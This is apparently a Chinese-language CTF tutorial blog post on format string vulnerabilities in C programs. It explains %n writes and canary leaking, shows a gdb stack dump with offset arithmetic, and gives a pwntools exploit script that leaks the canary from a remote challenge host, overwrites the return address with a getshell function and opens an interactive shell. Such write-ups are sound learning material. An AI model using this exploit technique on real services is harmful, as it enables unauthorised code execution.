PWN 格式化字符串漏洞
PWN 格式化字符串漏洞
作用
- 使程序崩溃
- 查看栈内容 (绕过栈保护)
- 任意地址读写
任意读 printf(“%3$d”, 1,2,3); printf(“%s %s %s”) 当不给参数时,会尝试读取栈上的数据
任意写 int count = 0; printf(“%n”, &count); %n 一次性写入4个字节 %hn 2个字节 %hhn 一个字节
绕过Canary保护
原理使用print读取canary的值,并重新放回去 或者爆破
确定canary位置的偏移,以及canary到返回地址的偏移 在ida反编译后 xor jz call 的位置就是比较canary的值
这是栈空间布局
gdb 反编译确定 canary偏移
gdb-peda$ x $rbp-0x8 0x7fffffffe118: 0x589dbe7c0a8cea00 gdb-peda$ x/50xg $rsp 0x7fffffffe048: 0x00000000004007c2 0x0000000061616161 0x7fffffffe058: 0x0000000000000000 0x0000000000000000 0x7fffffffe068: 0x0000000000000000 0x0000000000000000 0x7fffffffe078: 0x0000000000000000 0x000000000000000c 0x7fffffffe088: 0x0000000000000040 0x0000000000140000 0x7fffffffe098: 0x000000000000000a 0x0000000000000040 0x7fffffffe0a8: 0x000000000000000c 0x0000000001800000 0x7fffffffe0b8: 0x0000000000000040 0x0000000000000002 0x7fffffffe0c8: 0x8000000000000006 0x0000000000000000 0x7fffffffe0d8: 0x0000000000000000 0x0000000000000000 0x7fffffffe0e8: 0x0000000000000000 0x0000000000000000 0x7fffffffe0f8: 0x0000000000000000 0x0000000000000000 0x7fffffffe108: 0x00007ffff7fe6900 0x0000000000000000 0x7fffffffe118: 0x589dbe7c0a8cea00 0x0000000000000001 0x7fffffffe128: 0x00007ffff7df06ca 0x00007fffffffe220%p 按16进制输出数据 8位读取
偏移是26,为什么是26? 因为要用%p打印 %p要打印的是一个地址,也就是相差26个地址的长度 一个长度为8字节
0x7fffffffe118 - 0x7fffffffe048 / 8 = 26
0x0000000061616161 前面一个 0x589dbe7c0a8cea00 后面一个
26 + 6 - 1
因为距离 26 且 前六个参数是入 寄存器,所以+6 , -1 是第31位是我们要打印的内容
而 到返回地址的距离是
0x7fffffffe128 - 0x7fffffffe118 - 1
-1 不算返回地址
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *
# io = process("./format_canary2")
io = remote("120.46.59.242", 2058)
context(arch="amd64", os="linux")
leak = b"%31$p"
io.sendline(leak)
# 0x6bb33d2e7d015c00 == 18
canary = int(io.recv(18)[2:],16)
print(canary)
getshell_addr = 0x0000000000400805
padding = 0xD0 - 8
delim = 8
# 为什么 -8 根据 ida 你会发现 字符数组才200 为什么0xD0是208 因为 要错出 8个字节为 canary 留位置
payload = b'a'*padding + p64(canary) + b'a'*delim + p64(getshell_addr)
io.sendline(payload)
io.interactive()
26 , 31 这些都是什么?
栈上不仅有函数参数,还有数组的位置
26 是 栈上数组 到 canary的位置
而 31 是为了读取 栈上 canary的值
31 是怎么来的呢?
printf(“%31$p”)
前 6 个 %p 会去读 寄存器
后 25 个 读的就是 栈上数组的里的了,第26个是 cannary
本文由作者按照 CC BY 4.0 进行授权
